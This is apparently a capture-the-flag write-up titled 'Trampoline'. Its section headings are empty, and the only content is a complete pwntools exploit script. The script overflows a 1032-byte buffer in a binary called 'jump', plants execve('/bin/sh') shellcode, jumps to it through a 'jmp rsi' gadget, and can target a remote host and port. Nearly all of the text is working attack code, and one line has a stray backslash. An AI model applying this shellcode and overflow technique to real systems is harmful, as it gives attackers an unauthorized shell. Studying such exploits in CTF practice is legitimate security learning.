Trampoline
Debugging the binary




Exploit plan

Final exploit

Last updated






Last updated
#!/usr/bin/env python
from pwn import *
e = context.binary = ELF('./jump',checksec=False)
if args.REMOTE:
io = remote('107.23.206.156',1338)
else:
io = process(e.path)
io.recvline()
# padding (we need to subtract the length of the shellcode)
junk = 'A'*(1032-(22))\
# jmp rsi gadget
trampoline = 0x4011b0
# execve(/bin/sh) shellcode(pops a shell)
shellcode = "\x48\x31\xf6\x56\x48\xbf"
shellcode += "\x2f\x62\x69\x6e\x2f"
shellcode += "\x2f\x73\x68\x57\x54"
shellcode += "\x5f\xb0\x3b\x99\x0f\x05"
# send it all together
io.sendline(shellcode + junk + p64(trampoline))
io.interactive()